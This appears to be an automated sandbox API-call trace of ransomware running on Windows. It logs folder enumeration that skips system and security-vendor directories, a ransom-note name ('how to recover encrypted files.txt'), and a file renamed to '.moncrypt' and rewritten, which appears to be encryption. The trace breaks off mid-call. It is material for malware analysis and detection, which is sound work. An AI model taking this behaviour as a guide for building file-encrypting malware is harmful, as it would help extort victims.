FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a3a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@塤U企@\x18?T\x18\x88")) returned 0xffffffff [0052.669] GetLastError () returned 0x2 [0052.669] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\quad\\") returned 0x3d [0052.669] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a380, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0052.669] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.669] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a3a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@셤R企@\x18?T\x18\x8f")) returned 0xffffffff [0052.669] GetLastError () returned 0x2 [0052.669] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\quad\\") returned 0x3d [0052.669] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a380, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0052.669] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.670] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a3a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@儔R企@\x18?T\x18\x97")) returned 0xffffffff [0052.670] GetLastError () returned 0x2 [0052.670] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\quad\\") returned 0x3d [0052.670] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a380, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0052.670] GlobalLock (hMem=0x440004) returned 0x550170 [0052.670] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.670] GlobalUnlock (hMem=0x440004) returned 0 [0052.670] GlobalLock (hMem=0x440004) returned 0x550170 [0052.670] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.670] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.670] GlobalUnlock (hMem=0x440004) returned 0 [0052.670] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.670] GlobalUnlock (hMem=0x44000c) returned 0 [0052.670] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\quad\\") returned 0x3d [0052.670] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0052.670] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0052.670] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\quad\\") returned 0x3d [0052.671] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0052.671] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0052.671] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\quad\\") returned 0x3d [0052.671] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0052.671] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0052.671] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\quad\\") returned 0x3d [0052.671] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0052.671] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a3f8, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0052.671] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.671] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.671] GlobalUnlock (hMem=0x44000c) returned 0 [0052.671] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.671] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.671] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.671] GlobalUnlock (hMem=0x44000c) returned 0 [0052.671] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.671] GlobalUnlock (hMem=0x440004) returned 0 [0052.671] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\quad\\") returned 0x3d [0052.671] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0052.672] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\quad\\") returned 0x3d [0052.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a380, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0052.672] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\quad\\") returned 0x3d [0052.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a380, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.672] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\quad\\") returned 0x3d [0052.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0052.672] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\quad\\") returned 0x3d [0052.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0052.672] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\quad\\") returned 0x3d [0052.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a380, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0052.673] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\quad\\") returned 0x3d [0052.673] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a380, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0052.673] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\quad\\") returned 0x3d [0052.673] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a380, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.673] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\quad\\") returned 0x3d [0052.673] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0052.673] GlobalLock (hMem=0x440004) returned 0x550170 [0052.673] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.673] GlobalUnlock (hMem=0x440004) returned 0 [0052.673] GlobalLock (hMem=0x440004) returned 0x550170 [0052.673] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.673] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.673] GlobalUnlock (hMem=0x440004) returned 0 [0052.673] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.673] GlobalUnlock (hMem=0x44000c) returned 0 [0052.673] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0052.673] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.674] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.674] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0052.674] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.674] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.674] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.674] GlobalUnlock (hMem=0x44000c) returned 0 [0052.674] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.674] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.674] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.674] GlobalUnlock (hMem=0x44000c) returned 0 [0052.674] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.674] GlobalUnlock (hMem=0x440004) returned 0 [0052.674] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.674] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0052.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.674] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0052.675] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", cchWideChar=72, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIFr", lpUsedDefaultChar=0x0) returned 72 [0052.675] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.675] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.675] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.675] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.675] GlobalUnlock (hMem=0x440004) returned 0 [0052.675] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.675] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.675] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.675] GlobalUnlock (hMem=0x440004) returned 0 [0052.675] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.675] GlobalUnlock (hMem=0x44000c) returned 0 [0052.675] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.675] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0052.676] CloseHandle (hObject=0x18c) returned 1 [0052.677] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\я")) returned 1 [0052.678] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b366a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a8037d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b366a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbba7, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.ELM", cAlternateFileName="")) returned 0x54e240 [0052.678] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0052.678] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0052.678] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", dwFileAttributes=0x20) returned 1 [0052.679] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0052.679] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm.moncrypt")) returned 1 [0052.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.680] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.680] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xbba7 [0052.680] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.680] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0052.682] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.682] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.683] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.683] GlobalUnlock (hMem=0x440004) returned 0 [0052.683] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0052.683] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.683] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.683] GlobalUnlock (hMem=0x440004) returned 0 [0052.683] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0052.683] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.683] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.683] GlobalUnlock (hMem=0x44000c) returned 0 [0052.683] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.683] GlobalUnlock (hMem=0x440004) returned 0 [0052.683] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.683] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.683] GlobalUnlock (hMem=0x440004) returned 0 [0052.683] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0052.683] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.683] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.683] GlobalUnlock (hMem=0x440004) returned 0 [0052.683] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0052.683] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0052.683] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0052.684] SetFilePointer (in: hFile=0x18c, lDistanceToMove=48039, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xbba7 [0052.684] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0052.684] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, 